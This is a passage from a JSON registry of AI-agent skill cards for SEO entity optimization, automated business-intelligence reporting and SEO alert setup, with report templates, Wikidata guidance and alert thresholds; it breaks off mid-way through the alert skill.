entity presence for CloudMetrics, our B2B SaaS analytics platform at cloudmetrics.io\"\n\n**Output**:\n\n```markdown\n## Entity Optimization Report\n\n### Entity Profile\n\n**Entity Name**: CloudMetrics\n**Entity Type**: Organization (B2B SaaS)\n**Primary Domain**: cloudmetrics.io\n**Target Topics**: analytics platform, business intelligence, enterprise analytics\n\n### AI Entity Resolution Test\n\nQueries tested with results reported by user:\n\n| Query | Result | Assessment |\n|-------|--------|------------|\n| \"What is CloudMetrics?\" | Described as \"an analytics tool\" with no further detail | Partial recognition -- generic description, no mention of B2B focus or key features |\n| \"Best analytics platforms for enterprises\" | CloudMetrics not mentioned in any AI response | Not recognized as a player in the enterprise analytics space |\n| \"CloudMetrics vs Datadog\" | Correctly identified as a competitor to Datadog, but feature comparison was incomplete and partially inaccurate | Partial -- entity is associated with the right category but attributes are thin |\n| \"Who founded CloudMetrics?\" | No answer found by any AI system tested | Entity leadership not present in AI knowledge bases |\n\n### Entity Health Summary\n\n| Signal Category | Status | Key Findings |\n|-----------------|--------|--------------|\n| Knowledge Graph | \u274c Missing | No Wikidata entry exists; no Google Knowledge Panel triggers for branded queries |\n| Structured Data | \u26a0\ufe0f Partial | Organization schema present on homepage with name, url, and logo; missing Person schema for CEO and leadership team; no sameAs links to external profiles |\n| Web Presence | \u2705 Strong | Consistent NAP across LinkedIn, Twitter/X, G2, and Crunchbase; social profiles link back to cloudmetrics.io; branded search returns owned properties in top 5 |\n| Content-Based | \u26a0\ufe0f Partial | About page exists but opens with marketing copy rather than an entity-defining statement; no dedicated author pages for leadership |\n| Third-Party | \u26a0\ufe0f Partial | Listed on G2 and Crunchbase; 2 industry publication mentions found; no awards or analyst coverage |\n| AI-Specific | \u274c Weak | AI systems have only surface-level awareness; entity definition is not quotable from any authoritative source |\n\n### Top 3 Priority Actions\n\n1. **Create Wikidata entry** with key properties: instance of (P31: business intelligence software company), official website (P856: cloudmetrics.io), inception (P571), country (P17)\n - Impact: High | Effort: Low\n - Why: Wikidata is the foundational knowledge base that feeds Google Knowledge Graph, Bing, and AI training pipelines; without it, the entity cannot be formally resolved\n\n2. **Add Person schema for leadership team** on the About/Team page, including name, jobTitle, sameAs links to LinkedIn profiles, and worksFor pointing to the Organization entity\n - Impact: High | Effort: Low\n - Why: Addresses the \"Who founded CloudMetrics?\" gap directly; Person schema for key people creates bidirectional entity associations that strengthen organizational identity\n\n3. **Build Wikipedia notability through independent press coverage** -- target 3-5 articles in industry publications (TechCrunch, VentureBeat, Analytics India Magazine) that mention CloudMetrics by name with verifiable claims\n - Impact: High | Effort: High\n - Why: Wikipedia notability requires coverage in independent reliable sources; press mentions simultaneously feed AI training data, build third-party entity signals, and create the citation foundation for a future Wikipedia article\n\n### Cross-Reference\n\n- **CORE-EEAT**: A07 (Knowledge Graph Presence) scored Fail, A08 (Entity Consistency) scored Pass -- entity optimization should focus on knowledge base gaps rather than consistency\n- **CITE**: I-dimension weakest area is I01 (Knowledge Graph Presence) -- completing Wikidata entry and earning Knowledge Panel directly improves domain identity score\n```\n\n## Tips for Success\n\n1. **Start with Wikidata** \u2014 It's the single most influential editable knowledge base; a complete Wikidata entry with references often triggers Knowledge Panel creation within weeks\n2. **sameAs is your most powerful Schema.org property** \u2014 It directly tells search engines \"I am this entity in the Knowledge Graph\"; always include Wikidata URL first\n3. **Test AI recognition before and after** \u2014 Query ChatGPT, Claude, Perplexity, and Google AI Overview before optimizing, then again after; this is the most direct GEO metric\n4. **Entity signals compound** \u2014 Unlike content SEO, entity signals from different sources reinforce each other; 5 weak signals together are stronger than 1 strong signal alone\n5. **Consistency beats completeness** \u2014 A consistent entity name and description across 10 platforms beats a perfect profile on just 2\n6. **Don't neglect disambiguation** \u2014 If your entity name is shared with anything else, disambiguation is the first priority; all other signals are wasted if they're attributed to the wrong entity\n7. **Pair with CITE I-dimension for domain context** \u2014 Entity audit tells you how well the entity is recognized; CITE Identity (I01-I10) tells you how well the domain represents that entity; use both together\n\n## Entity Type Reference\n\n### Entity Types and Key Signals\n\n| Entity Type | Primary Signals | Secondary Signals | Key Schema |\n|-------------|----------------|-------------------|------------|\n| **Person** | Author pages, social profiles, publication history | Speaking, awards, media mentions | Person, ProfilePage |\n| **Organization** | Registration records, Wikidata, industry listings | Press coverage, partnerships, awards | Organization, Corporation |\n| **Brand** | Trademark, branded search volume, social presence | Reviews, brand mentions, visual identity | Brand, Organization |\n| **Product** | Product pages, reviews, comparison mentions | Awards, expert endorsements, market share | Product, SoftwareApplication |\n| **Creative Work** | Publication record, citations, reviews | Awards, adaptations, cultural impact | CreativeWork, Book, Movie |\n| **Event** | Event listings, press coverage, social buzz | Sponsorships, speaker profiles, attendance | Event |\n\n### Disambiguation Strategy by Situation\n\n| Situation | Strategy |\n|-----------|----------|\n| **Common name, unique entity** | Strengthen all signals; let signal volume resolve ambiguity |\n| **Name collision with larger entity** | Add qualifier consistently (e.g., \"Acme Software\" not just \"Acme\"); use sameAs extensively; build topic-specific authority that differentiates |\n| **Name collision with similar entity** | Geographic, industry, or product qualifiers; ensure Schema @id is unique and consistent; prioritize Wikidata disambiguation |\n| **Abbreviation/acronym conflict** | Prefer full name in structured data; use abbreviation only in contexts where entity is already established |\n| **Merged or renamed entity** | Redirect old entity signals; update all structured data; create explicit \"formerly known as\" content; update Wikidata |\n\n## Knowledge Panel Optimization\n\n### Claiming and Editing\n\n1. **Google Knowledge Panel**: Claim via Google's verification process (search for entity \u2192 click \"Claim this knowledge panel\")\n2. **Bing Knowledge Panel**: Driven by Wikidata and LinkedIn \u2014 update those sources\n3. **AI Knowledge**: Driven by training data \u2014 ensure authoritative sources describe entity correctly\n\n### Common Knowledge Panel Issues\n\n| Issue | Root Cause | Fix |\n|-------|-----------|-----|\n| No panel appears | Entity not in Knowledge Graph | Build Wikidata entry + structured data + authoritative mentions |\n| Wrong image | Image sourced from incorrect page | Update Wikidata image; ensure preferred image on About page and social profiles |\n| Wrong description | Description pulled from wrong source | Edit Wikidata description; ensure About page has clear entity description in first paragraph |\n| Missing attributes | Incomplete structured data | Add properties to Schema.org markup and Wikidata entry |\n| Wrong entity shown | Disambiguation failure | Strengthen unique signals; add qualifiers; resolve Wikidata disambiguation |\n| Outdated info | Source data not updated | Update Wikidata, About page, and all profile pages |\n\n## Wikidata Best Practices\n\n### Creating a Wikidata Entry\n\n1. **Check notability**: Entity must have at least one authoritative reference\n2. **Create item**: Add label, description, and aliases in relevant languages\n3. **Add statements**: instance of, official website, social media links, founding date, founders, industry\n4. **Add identifiers**: official website (P856), social media IDs, CrunchBase ID, ISNI, VIAF\n5. **Add references**: Every statement should have a reference to an authoritative source\n\n**Important**: Wikipedia's Conflict of Interest (COI) policy prohibits individuals and organizations from creating or editing articles about themselves. Instead of directly editing Wikipedia: (1) Focus on building notability through independent reliable sources (press coverage, industry publications, academic citations); (2) If you believe a Wikipedia article is warranted, consider engaging an independent Wikipedia editor through the Requested Articles process; (3) Ensure all claims about the entity are verifiable through third-party sources before any Wikipedia involvement.\n\n### Key Wikidata Properties by Entity Type\n\n| Property | Code | Person | Org | Brand | Product |\n|----------|------|:------:|:---:|:-----:|:-------:|\n| instance of | P31 | human | organization type | brand | product type |\n| official website | P856 | yes | yes | yes | yes |\n| occupation / industry | P106/P452 | yes | yes | \u2014 | \u2014 |\n| founded by | P112 | \u2014 | yes | yes | \u2014 |\n| inception | P571 | \u2014 | yes | yes | yes |\n| country | P17 | yes | yes | \u2014 | \u2014 |\n| social media | various | yes | yes | yes | yes |\n| employer | P108 | yes | \u2014 | \u2014 | \u2014 |\n| developer | P178 | \u2014 | \u2014 | \u2014 | yes |\n\n## AI Entity Optimization\n\n### How AI Systems Resolve Entities\n\n```\nUser query \u2192 Entity extraction \u2192 Entity resolution \u2192 Knowledge retrieval \u2192 Answer generation\n```\n\nAI systems follow this pipeline:\n1. **Extract** entity mentions from the query\n2. **Resolve** each mention to a known entity (or fail \u2192 \"I'm not sure\")\n3. **Retrieve** associated knowledge about the entity\n4. **Generate** response citing sources that confirmed the entity's attributes\n\n### Signals AI Systems Use for Entity Resolution\n\n| Signal Type | What AI Checks | How to Optimize |\n|-------------|---------------|-----------------|\n| **Training data presence** | Was entity in pre-training corpus? | Get mentioned in high-quality, widely-crawled sources |\n| **Retrieval augmentation** | Does entity appear in live search results? | Strong SEO presence for branded queries |\n| **Structured data** | Can entity be matched to Knowledge Graph? | Complete Wikidata + Schema.org |\n| **Contextual co-occurrence** | What topics/entities appear alongside? | Build consistent topic associations across content |\n| **Source authority** | Are sources about entity trustworthy? | Get mentioned by authoritative, well-known sources |\n| **Recency** | Is information current? | Keep all entity profiles and content updated |\n\n### Entity-Specific GEO Tactics\n\n1. **Define clearly**: First paragraph of About page and key pages should define the entity in a way AI can quote directly\n2. **Be consistent**: Use identical entity description across all platforms\n3. **Build associations**: Create content that explicitly connects entity to target topics\n4. **Earn mentions**: Third-party authoritative mentions are stronger entity signals than self-description\n5. **Stay current**: Outdated entity information causes AI to lose confidence and stop citing\n\n## Reference Materials\n\nDetailed guides for entity optimization:\n- [references/entity-signal-checklist.md](./references/entity-signal-checklist.md) \u2014 Complete signal checklist with verification methods\n- [references/knowledge-graph-guide.md](./references/knowledge-graph-guide.md) \u2014 Wikidata, Wikipedia, and Knowledge Graph optimization playbook\n\n## Related Skills\n\n- [content-quality-auditor](../content-quality-auditor/) \u2014 CORE-EEAT items A07 (Knowledge Graph Presence) and A08 (Entity Consistency) directly relate\n- [domain-authority-auditor](../domain-authority-auditor/) \u2014 CITE I01-I10 (Identity dimension) measures entity signals at domain level\n- [schema-markup-generator](../../build/schema-markup-generator/) \u2014 Generate Organization, Person, Product, and other entity schema\n- [geo-content-optimizer](../../build/geo-content-optimizer/) \u2014 Entity signals feed AI citation probability\n- [competitor-analysis](../../research/competitor-analysis/) \u2014 Compare entity presence against competitors\n- [backlink-analyzer](../../monitor/backlink-analyzer/) \u2014 Branded backlinks strengthen entity signals\n- [performance-reporter](../../monitor/performance-reporter/) \u2014 Track branded search and Knowledge Panel metrics\n- [memory-management](../memory-management/) \u2014 Store entity audit results for tracking over time\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/entity-optimizer/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/aaron-he-zhu/entity-optimizer/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/aaron-he-zhu/entity-optimizer/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/aaron-he-zhu/entity-optimizer/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/entity-optimizer/SKILL.md", "importedAt": "2026-02-18T19:24:20.995Z"}}}}, {"slug": "clawhub-biz-reporter", "name": "Biz Reporter", "category": "Analytics", "description": "Business intelligence that writes itself. Pull data from multiple sources, spot trends, and generate beautiful reports \u2014 on demand or on schedule.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Biz Reporter", "slug": "clawhub-biz-reporter", "version": "1.0.0", "description": "--- name: biz-reporter description: > Automated business intelligence reports pulling data from Google Analytics GA4, Google Search Console, Stripe revenue, social media metrics (Twitter/X, LinkedIn, Instagram), HubSpot CRM, and Airtable into formatted daily KPI snapshots, weekly marketing reports, and monthly business reviews with trend detection and anomaly alerts. Use this skill for: business reports, KPI dashboard, weekly metrics, marketing report, revenue summary, traffic report, analytics summary, performance report, \"how are we doing\", \"show me our metrics\", \"what are our numbers\", MRR tracking, conversion rate analysis, SEO performance report, social media analytics, sales pipeline report, automated reporting via cron, data visualization, business intelligence, growth metrics, churn analysis, or any request to combine data from multiple business tools into a single formatted report. Also works for ad-hoc questions like \"how did our launch go\" or \"compare this month to last month\". Delivers via Slack, email, Notion, or Markdown file. metadata: openclaw: emoji: \"\ud83d\udcca\" ---", "documentation_md": "---\nname: biz-reporter\ndescription: >\n Automated business intelligence reports pulling data from Google Analytics GA4, Google Search Console,\n Stripe revenue, social media metrics (Twitter/X, LinkedIn, Instagram), HubSpot CRM, and Airtable into\n formatted daily KPI snapshots, weekly marketing reports, and monthly business reviews with trend\n detection and anomaly alerts. Use this skill for: business reports, KPI dashboard, weekly metrics,\n marketing report, revenue summary, traffic report, analytics summary, performance report, \"how are\n we doing\", \"show me our metrics\", \"what are our numbers\", MRR tracking, conversion rate analysis,\n SEO performance report, social media analytics, sales pipeline report, automated reporting via cron,\n data visualization, business intelligence, growth metrics, churn analysis, or any request to combine\n data from multiple business tools into a single formatted report. Also works for ad-hoc questions\n like \"how did our launch go\" or \"compare this month to last month\". Delivers via Slack, email,\n Notion, or Markdown file.\nmetadata:\n openclaw:\n emoji: \"\ud83d\udcca\"\n---\n\n# Biz Reporter\n\nBusiness intelligence that writes itself. Pull data from multiple sources, spot trends, and generate beautiful reports \u2014 on demand or on schedule.\n\n## Why This Exists\n\nData & Analytics has only 18 skills out of 3,286 on ClawHub \u2014 the most underserved category by far. Yet automated reporting is called \"the most universally loved automation\" in the OpenClaw community. Every business needs it, nobody has built it properly.\n\n## How It Works\n\nBiz Reporter connects to the user's business tools, pulls key metrics, applies trend analysis, and generates a formatted report. It works with whatever tools the user has \u2014 from a solo founder with just Google Analytics to a team with a full data stack.\n\n## Supported Data Sources\n\n### Web Analytics\n- **Google Analytics (GA4)**: sessions, users, pageviews, bounce rate, top pages, traffic sources\n- **Google Search Console**: impressions, clicks, CTR, average position, top queries\n- Access via `gog` tool, browser automation, or API calls\n\n### Revenue & Payments\n- **Stripe**: MRR, revenue, new customers, churn, top products\n- **PayPal**: transaction summaries\n- Access via CLI tools or API calls with stored credentials\n\n### Social Media\n- **Twitter/X**: followers, engagement, top posts\n- **LinkedIn**: page views, post engagement, follower growth\n- **Instagram**: reach, engagement, follower count\n- Access via APIs or browser automation\n\n### CRM & Sales\n- **HubSpot**: leads, pipeline value, deals closed, contact growth\n- **Airtable**: custom database metrics\n- Access via API with stored keys\n\n### Custom Sources\n- **Any API**: the user can specify custom API endpoints to pull data from\n- **CSV files**: if the user dumps data as CSV, parse and include it\n- **Spreadsheets**: Google Sheets via API\n\n## Report Types\n\n### Daily KPI Snapshot\nQuick pulse check \u2014 2-3 minutes to generate, meant for morning review.\n\n```\n\ud83d\udcca Daily KPI Snapshot \u2014 [Date]\n\n\ud83c\udf10 Website: [sessions] sessions ([+/-]% vs yesterday)\n Top page: [page] ([views] views)\n \n\ud83d\udcb0 Revenue: $[amount] ([+/-]% vs yesterday)\n New customers: [count]\n \n\ud83d\udcf1 Social: [total engagement] across platforms\n Best post: [platform] \u2014 [description] ([engagement])\n\n\u26a1 Quick take: [One sentence AI analysis of the day]\n```\n\n### Weekly Marketing Report\nComprehensive marketing performance overview.\n\n```\n\ud83d\udcc8 Weekly Marketing Report \u2014 [Date Range]\n\nEXECUTIVE SUMMARY\n[2-3 sentence overview: what went well, what needs attention, key number]\n\nWEBSITE PERFORMANCE\n\u2022 Sessions: [number] ([%] vs last week)\n\u2022 Unique visitors: [number]\n\u2022 Top traffic sources: [source 1] ([%]), [source 2] ([%]), [source 3] ([%])\n\u2022 Top 5 pages by traffic:\n 1. [page] \u2014 [views] views\n 2. ...\n\u2022 Bounce rate: [%] ([trend])\n\nSEARCH PERFORMANCE\n\u2022 Impressions: [number] ([%] change)\n\u2022 Clicks: [number] ([%] change)\n\u2022 Average CTR: [%]\n\u2022 Average position: [number]\n\u2022 Top gaining queries: [query] (+[positions])\n\u2022 Top losing queries: [query] (-[positions])\n\nSOCIAL MEDIA\n\u2022 Total followers: [number] (net +[growth])\n\u2022 Total engagement: [number]\n\u2022 Best performing post: [description]\n\u2022 Platform breakdown:\n - Twitter/X: [followers], [engagement]\n - LinkedIn: [followers], [engagement]\n\nREVENUE (if available)\n\u2022 Total revenue: $[amount] ([%] vs last week)\n\u2022 New customers: [count]\n\u2022 Churn: [count] ([%])\n\u2022 MRR: $[amount]\n\nTRENDS & INSIGHTS\n\u2022 [AI-generated insight about notable trends]\n\u2022 [Comparison to historical averages]\n\u2022 [Actionable recommendation]\n\nNEXT WEEK FOCUS\n\u2022 [Suggested action based on data]\n```\n\n### Monthly Business Review\nDeep analysis with historical comparisons and strategic recommendations.\n\nFollow the weekly format but expand with:\n- Month-over-month and year-over-year comparisons\n- Cohort analysis for customer retention (if data available)\n- Content performance breakdown (which articles drove traffic)\n- Funnel analysis: visitors \u2192 signups \u2192 customers (if trackable)\n- Strategic recommendations section with specific actions\n\n### Custom Report\nIf the user asks for something specific, build it:\n- \"Show me our top 10 pages by revenue contribution\"\n- \"Compare this month's social engagement to last month\"\n- \"What keywords are we losing rankings for?\"\n\n## Trend Detection\n\nBiz Reporter doesn't just show numbers \u2014 it spots patterns:\n\n1. **Week-over-week anomalies**: flag metrics that changed more than 20% from the prior week\n2. **Declining trends**: if a metric has dropped for 3+ consecutive periods, raise it prominently\n3. **Correlation hints**: \"Traffic from Twitter spiked 40% \u2014 this correlates with your viral post on [date]\"\n4. **Seasonal patterns**: if historical data shows patterns (e.g., weekend dips), note them instead of alerting\n5. **Comparison framing**: always show the comparison baseline so numbers have context\n\n## Natural Language Queries\n\nUsers can ask questions about their data conversationally:\n\n| User says | Action |\n|-----------|--------|\n| \"How's our traffic this week?\" | Quick web analytics summary with week-over-week comparison |\n| \"What's our MRR?\" | Pull Stripe data, show current MRR with trend |\n| \"Which blog posts are getting the most traffic?\" | Top pages report from GA4 |\n| \"Are we ranking better or worse this month?\" | Search Console comparison |\n| \"Generate my weekly report\" | Full weekly marketing report |\n| \"How did our launch go?\" | Pull metrics for a specific date range around the launch |\n| \"Show me revenue by month for the last 6 months\" | Historical revenue chart description |\n\n## Scheduling Reports\n\nHelp users set up recurring reports via cron:\n\n```json\n[\n {\n \"name\": \"Daily KPI snapshot\",\n \"schedule\": \"0 8 * * 1-5\",\n \"prompt\": \"Generate daily KPI snapshot and send to Slack #metrics\"\n },\n {\n \"name\": \"Weekly marketing report\",\n \"schedule\": \"0 9 * * 1\",\n \"prompt\": \"Generate weekly marketing report for last week and send via email\"\n },\n {\n \"name\": \"Monthly business review\",\n \"schedule\": \"0 10 1 * *\",\n \"prompt\": \"Generate monthly business review for last month and post to Notion\"\n }\n]\n```\n\n## Setup & Configuration\n\nOn first use:\n\n1. **Discover available tools**: check which data sources the user has access to (GA4, Stripe, etc.)\n2. **Authenticate**: help configure API keys or tool access for each source. Store securely in environment variables, never in SKILL.md or memory.\n3. **Baseline**: pull initial data to establish benchmarks for future comparisons\n4. **Preferences**: ask about reporting frequency, delivery channel, and which metrics matter most\n5. **Store config**: save all preferences in workspace memory\n\n## Output Formats\n\nReports can be delivered as:\n- **Chat message**: formatted directly in the conversation or messaging channel\n- **Markdown file**: saved to workspace for archival\n- **Notion page**: if Notion skill is available\n- **Email**: via configured email skill\n- **Slack/Discord message**: for team channels\n\n## Edge Cases\n\n- **Partial data**: if some sources are unavailable, generate the report with what's available and note what's missing\n- **No historical data**: on first run, can only show current snapshot. Note that comparisons will be available next period.\n- **API rate limits**: cache data within a session and batch requests\n- **Zero traffic / new site**: don't show depressing \"0 visitors\" \u2014 instead focus on setup progress and first wins\n- **Multiple properties**: if user has multiple websites/products, ask which one or generate combined report\n- **Currency**: detect user locale and format currency appropriately\n- **Privacy**: never include individual user data or PII in reports. Aggregate only.\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/ariktulcha/biz-reporter/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/ariktulcha/biz-reporter/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/ariktulcha/biz-reporter/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/ariktulcha/biz-reporter/SKILL.md", "commit": "dff1d5eb06"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/ariktulcha/biz-reporter/SKILL.md", "importedAt": "2026-02-18T19:26:30.781Z"}}}}, {"slug": "clawhub-alert-manager", "name": "Alert Manager", "category": "Analytics", "description": "SEO & GEO Skills Library \u00b7 20 skills for SEO + GEO \u00b7 Install all: npx skills add aaron-he-zhu/seo-geo-claude-skills", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Alert Manager", "slug": "clawhub-alert-manager", "version": "1.0.0", "description": "--- name: alert-manager description: 'Use when the user asks to \"set up SEO alerts\", \"monitor rankings\", \"notify me when rankings drop\", \"traffic alerts\", \"watch competitor changes\", \"alert me if rankings drop\", \"notify me of traffic changes\", or \"watch my keywords for changes\". Sets up and manages alerts for critical SEO and GEO metrics including ranking drops, traffic changes, technical issues, and competitor movements. Enables proactive monitoring and quick response to issues. For detailed rank analysis, see rank-tracker. For comprehensive reporting, see performance-reporter.' license: Apache-2.0 metadata: author: aaron-he-zhu version: \"2.0.0\" geo-relevance: \"low\" tags: - seo - geo - alerts - monitoring - ranking alerts - traffic monitoring - competitor alerts - seo notifications - proactive monitoring triggers: - \"set up SEO alerts\" - \"monitor rankings\" - \"notify me when rankings drop\" - \"traffic alerts\" - \"watch competitor changes\" - \"alert me\" - \"ranking notifications\" - \"alert me if rankings drop\" - \"notify me of traffic changes\" - \"watch my keywords for changes\" ---", "documentation_md": "---\nname: alert-manager\ndescription: 'Use when the user asks to \"set up SEO alerts\", \"monitor rankings\", \"notify me when rankings drop\", \"traffic alerts\", \"watch competitor changes\", \"alert me if rankings drop\", \"notify me of traffic changes\", or \"watch my keywords for changes\". Sets up and manages alerts for critical SEO and GEO metrics including ranking drops, traffic changes, technical issues, and competitor movements. Enables proactive monitoring and quick response to issues. For detailed rank analysis, see rank-tracker. For comprehensive reporting, see performance-reporter.'\nlicense: Apache-2.0\nmetadata:\n author: aaron-he-zhu\n version: \"2.0.0\"\n geo-relevance: \"low\"\n tags:\n - seo\n - geo\n - alerts\n - monitoring\n - ranking alerts\n - traffic monitoring\n - competitor alerts\n - seo notifications\n - proactive monitoring\n triggers:\n - \"set up SEO alerts\"\n - \"monitor rankings\"\n - \"notify me when rankings drop\"\n - \"traffic alerts\"\n - \"watch competitor changes\"\n - \"alert me\"\n - \"ranking notifications\"\n - \"alert me if rankings drop\"\n - \"notify me of traffic changes\"\n - \"watch my keywords for changes\"\n---\n\n# Alert Manager\n\n\n> **[SEO & GEO Skills Library](https://skills.sh/aaron-he-zhu/seo-geo-claude-skills)** \u00b7 20 skills for SEO + GEO \u00b7 Install all: `npx skills add aaron-he-zhu/seo-geo-claude-skills`\n\n<details>\n<summary>Browse all 20 skills</summary>\n\n**Research** \u00b7 [keyword-research](../../research/keyword-research/) \u00b7 [competitor-analysis](../../research/competitor-analysis/) \u00b7 [serp-analysis](../../research/serp-analysis/) \u00b7 [content-gap-analysis](../../research/content-gap-analysis/)\n\n**Build** \u00b7 [seo-content-writer](../../build/seo-content-writer/) \u00b7 [geo-content-optimizer](../../build/geo-content-optimizer/) \u00b7 [meta-tags-optimizer](../../build/meta-tags-optimizer/) \u00b7 [schema-markup-generator](../../build/schema-markup-generator/)\n\n**Optimize** \u00b7 [on-page-seo-auditor](../../optimize/on-page-seo-auditor/) \u00b7 [technical-seo-checker](../../optimize/technical-seo-checker/) \u00b7 [internal-linking-optimizer](../../optimize/internal-linking-optimizer/) \u00b7 [content-refresher](../../optimize/content-refresher/)\n\n**Monitor** \u00b7 [rank-tracker](../rank-tracker/) \u00b7 [backlink-analyzer](../backlink-analyzer/) \u00b7 [performance-reporter](../performance-reporter/) \u00b7 **alert-manager**\n\n**Cross-cutting** \u00b7 [content-quality-auditor](../../cross-cutting/content-quality-auditor/) \u00b7 [domain-authority-auditor](../../cross-cutting/domain-authority-auditor/) \u00b7 [entity-optimizer](../../cross-cutting/entity-optimizer/) \u00b7 [memory-management](../../cross-cutting/memory-management/)\n\n</details>\n\nThis skill helps you set up proactive monitoring alerts for critical SEO and GEO metrics. Get notified when rankings drop, traffic changes significantly, technical issues occur, or competitors make moves.\n\n## When to Use This Skill\n\n- Setting up SEO monitoring systems\n- Creating ranking drop alerts\n- Monitoring technical SEO health\n- Tracking competitor movements\n- Alerting on content performance changes\n- Monitoring GEO/AI visibility changes\n- Setting up brand mention alerts\n\n## What This Skill Does\n\n1. **Alert Configuration**: Sets up custom alert thresholds\n2. **Multi-Metric Monitoring**: Tracks rankings, traffic, technical issues\n3. **Threshold Management**: Defines when alerts trigger\n4. **Priority Classification**: Categorizes alerts by severity\n5. **Notification Setup**: Configures how alerts are delivered\n6. **Alert Response Plans**: Creates action plans for each alert type\n7. **Alert History**: Tracks alert patterns over time\n\n## How to Use\n\n### Set Up Alerts\n\n```\nSet up SEO monitoring alerts for [domain]\n```\n\n```\nCreate ranking drop alerts for my top 20 keywords\n```\n\n### Configure Specific Alerts\n\n```\nAlert me when [specific condition]\n```\n\n```\nSet up competitor monitoring for [competitor domains]\n```\n\n### Review Alert System\n\n```\nReview and optimize my current SEO alerts\n```\n\n## Data Sources\n\n> See [CONNECTORS.md](../../CONNECTORS.md) for tool category placeholders.\n\n**With ~~SEO tool + ~~search console + ~~web crawler connected:**\nAutomatically monitor real-time metric feeds for ranking changes via ~~SEO tool API, indexing and coverage alerts from ~~search console, and technical health alerts from ~~web crawler. Set up automated threshold-based alerts with notification delivery.\n\n**With manual data only:**\nAsk the user to provide:\n1. Current baseline metrics for alert thresholds (rankings, traffic, backlinks)\n2. Critical keywords or pages to monitor\n3. Alert priority levels and notification preferences\n4. Historical data to understand normal fluctuation ranges\n5. Manual reporting on metric changes when they check their tools\n\nProceed with the alert configuration using provided parameters. User will need to manually check metrics and report changes for alert triggers.\n\n## Instructions\n\nWhen a user requests alert setup:\n\n1. **Define Alert Categories**\n\n ```markdown\n ## SEO Alert System Configuration\n \n **Domain**: [domain]\n **Configured Date**: [date]\n \n ### Alert Categories\n \n | Category | Description | Typical Urgency |\n |----------|-------------|-----------------|\n | Ranking Alerts | Keyword position changes | Medium-High |\n | Traffic Alerts | Organic traffic fluctuations | High |\n | Technical Alerts | Site health issues | Critical |\n | Backlink Alerts | Link profile changes | Medium |\n | Competitor Alerts | Competitor movements | Low-Medium |\n | GEO Alerts | AI visibility changes | Medium |\n | Brand Alerts | Brand mentions and reputation | Medium |\n ```\n\n2. **Configure Ranking Alerts**\n\n ```markdown\n ## Ranking Alerts\n \n ### Position Drop Alerts\n \n | Alert Name | Condition | Threshold | Priority | Action |\n |------------|-----------|-----------|----------|--------|\n | Critical Drop | Any top 3 keyword drops 5+ positions | Position change \u22655 | \ud83d\udd34 Critical | Immediate investigation |\n | Major Drop | Top 10 keyword drops out of top 10 | Position >10 | \ud83d\udd34 High | Same-day review |\n | Moderate Drop | Any keyword drops 10+ positions | Position change \u226510 | \ud83d\udfe1 Medium | Weekly review |\n | Competitor Overtake | Competitor passes you for key term | Comp position < yours | \ud83d\udfe1 Medium | Analysis needed |\n \n ### Position Improvement Alerts\n \n | Alert Name | Condition | Threshold | Priority |\n |------------|-----------|-----------|----------|\n | New Top 3 | Keyword enters top 3 | Position \u22643 | \ud83d\udfe2 Positive |\n | Page 1 Entry | Keyword enters top 10 | Position \u226410 | \ud83d\udfe2 Positive |\n | Significant Climb | Keyword improves 10+ positions | Change \u2265+10 | \ud83d\udfe2 Positive |\n \n ### SERP Feature Alerts\n \n | Alert Name | Condition | Priority |\n |------------|-----------|----------|\n | Snippet Lost | Lost featured snippet ownership | \ud83d\udd34 High |\n | Snippet Won | Won new featured snippet | \ud83d\udfe2 Positive |\n | AI Overview Change | Appeared/disappeared in AI Overview | \ud83d\udfe1 Medium |\n \n ### Keywords to Monitor\n \n | Keyword | Current Rank | Alert Threshold | Priority |\n |---------|--------------|-----------------|----------|\n | [keyword 1] | [X] | Drop \u22653 | \ud83d\udd34 Critical |\n | [keyword 2] | [X] | Drop \u22655 | \ud83d\udd34 High |\n | [keyword 3] | [X] | Drop \u226510 | \ud83d\udfe1 Medium |\n ```\n\n3. **Configure Traffic Alerts**\n\n ```markdown\n ## Traffic Alerts\n \n ### Traffic Decline Alerts\n \n | Alert Name | Condition | Threshold | Priority |\n |------------|-----------|-----------|----------|\n | Traffic Crash | Day-over-day decline | \u226550% drop | \ud83d\udd34 Critical |\n | Significant Drop | Week-over-week decline | \u226530% drop | \ud83d\udd34 High |\n | Moderate Decline | Month-over-month decline | \u226520% drop | \ud83d\udfe1 Medium |\n | Trend Warning | 3 consecutive weeks decline | Any decline | \ud83d\udfe1 Medium |\n \n ### Traffic Anomaly Alerts\n \n | Alert Name | Condition | Priority |\n |------------|-----------|----------|\n | Traffic Spike | Unusual increase | \ud83d\udfe2 Investigate |\n | Zero Traffic | Page receiving 0 visits | \ud83d\udd34 High |\n | Bot Traffic | Unusual traffic pattern | \ud83d\udfe1 Medium |\n \n ### Page-Level Alerts\n \n | Page Type | Alert Condition | Priority |\n |-----------|-----------------|----------|\n | Homepage | Any 20%+ decline | \ud83d\udd34 Critical |\n | Top 10 pages | Any 30%+ decline | \ud83d\udd34 High |\n | Conversion pages | Any 25%+ decline | \ud83d\udd34 High |\n | Blog posts | Any 40%+ decline | \ud83d\udfe1 Medium |\n \n ### Conversion 